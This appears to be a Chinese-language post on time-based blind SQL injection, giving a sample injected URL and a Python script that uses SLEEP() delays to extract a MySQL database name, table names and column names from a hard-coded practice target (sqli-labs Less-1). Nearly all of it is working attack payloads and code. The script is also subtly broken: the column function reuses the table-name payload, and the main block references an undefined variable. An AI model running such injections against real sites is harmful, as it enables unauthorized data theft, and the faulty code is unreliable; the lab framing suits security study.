猜解数据库(MYSQL)信息

http://43.247.91.228:84/Less-1/?id=1' and if (length(database())=8,sleep(5),0) --+
注：http://43.247.91.228:84/Less-1/为靶场地址，发送该请求，如果数据库名的长度为8则响应会延迟5秒，否则会立
即得到响应（网状状况没那么糟糕的情况下）.以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本

import requests

#################################################################
#        http://43.247.91.228:84/Less-1是靶场地址                 
#################################################################

url1 = "http://43.247.91.228:84/Less-1/?id=1' and if 
(length(database())={_}, sleep(3), 0) --+"

url2 = "http://43.247.91.228:84/Less-1/?id=1' and if 
(ascii(substr(database(),{_},1))={__}, sleep(3), 0) --+"

url3 = "http://43.247.91.228:84/Less-1/?id=1' and if 
((select count(*) from information_schema.tables 
where table_schema={_})={__}, sleep(3), 0) --+"

url4 = "http://43.247.91.228:84/Less-1/?id=1' and if 
((ascii(substr((select group_concat(table_name) from 
information_schema.tables where table_schema={_}), 
{__},1)))={___}, sleep(3), 0) --+"

url5 = "http://43.247.91.228:84/Less-1/?id=1' and if 
(ascii(substr((select group_concat(COLUMN_NAME) from 
information_schema.COLUMNS where table_name = {_}), 
{__}, 1))={___}, sleep(3), 0) --+"

#################################################################
#    函数功能：猜解数据库名的长度                               
#    参数意义：n 长度范围                                       
#    返回结果：成功：数据库名长度                               
#        　　 失败：0                                          
#################################################################
def getLength(n): 
    for i in range(1, n + 1):
        payload = url1.format( _ = i)
        print (payload)
        ans  = requests.get(payload)
        #响应时间大于等于3秒说明猜解正确
        if (ans.elapsed.seconds >= 3):
            return (i)
            break
        else: 
            continue
    return (0)



#################################################################
#    函数功能：猜解数据库名                                     
#    参数意义：length 数据库名的长度                            
#    返回结果：成功：数据库名字符串                             
#         　　失败：空字符串                                   
#################################################################
def getName(length):
    database = ""  #数据库名初始化为空字符串
    for i in range(1, length + 1):
        for j in range(1, 128):
            payload = url2.format( _ = i, __ = j)
            print (payload)
            ans = requests.get(payload)
            #响应时间大于等于3秒说明猜解正确
            if (ans.elapsed.seconds >= 3):
                database += chr(j)
                break
            else:
                continue
    return (database)


#################################################################
#    函数功能：猜解数据库中表的数量                             
#    参数意义：database 数据库名                                
#         　　n 表的数量范围                                   
#    返回结果：成功：表的数量                                   
#         　　失败：0                                          
#################################################################
def getTablesNum(database, n):
    for i in range(1, n + 1):
        payload = url3.format( _ = " '"+ database + "'", __ = i)
        print (payload)
        ans = requests.get(payload)
        if (ans.elapsed.seconds >= 3):
            return (i)
            break
        else:
            continue     
    return (0)

#################################################################
#    函数功能：猜解表名                                         
#    参数意义：database  数据库名                               
#         　　nameLengthTotal 所有表名的字符数及               
#                        　　 逗号分隔符数之和（               
#                         　　表名之间用逗号分隔）             
#    返回结果：所有表名的list数组                               
#################################################################
def getTablesName(database, nameLengthTotal):
    tables = []
    table = ""
    for i in range(1, nameLengthTotal + 1):
        for j in range(1, 128):
            payload = url4.format( _ = " '"+ database + "'",
                                   __ = i, ___ = j)
            print (payload)
            ans = requests.get(payload)
            if (ans.elapsed.seconds >= 3):
                table += chr(j)
                break
            else:
                continue
    tb = table.split(",")
    for t in tb:
        tables.append(t)
    return (tables)
    
    
            
#################################################################
#    函数功能：猜解某个表的字段名                               
#    参数意义：table 表名                                       
#         　　attributeLengthTotal 全部字段名的字符数及用于分  
#                              　　割的逗号数之和（字段名之间  
#                             　　 用逗号分割）的范围          
#    返回结果：字段名字符串list数组                             
#################################################################
def getTableAttributes(table, attributeLengthTotal):
    attributes = []
    attribute = ""
    for i in range(1, attributeLengthTotal + 1):
        for j in range(1, 128):
            payload = url4.format( _ = " '"+ table + "'",
                                   __ = i, ___ = j)
            print (payload)
            ans = requests.get(payload)
            if (ans.elapsed.seconds >= 3):
                attribute += chr(j)
                break
            else:
                continue
    ab = attribute.split(",")
    for a in ab:
        attributes.append(a)
    return attributes
        

                
#################################################################
#
#                         主函数                                
#
#################################################################
if __name__=="__main__":
    #猜解数据库名的长度
    length = getLength(10)
    #猜解数据库名
    database = getName(length)
    #猜解表的数量
    tablesNum = getTablesNum(database, 10)
    #猜解表名
    tables = getTablesName(database, tableNum*8)
    print ("数据库名的长度为：" + str(length))
    print ("数据库名为：" + database)
    print ("数据库中表的数量为：" + str(tablesNum))
    print ("数据库中的表如下：")
    for table in tables:
        print (table)
    print ("各个表的字段名如下：")
    for table in tables:
        print (table)
        #猜解各个表的字段名
        attributes = getTableAttributes(table, 100)
        for attribute in attributes:
            print (attribute)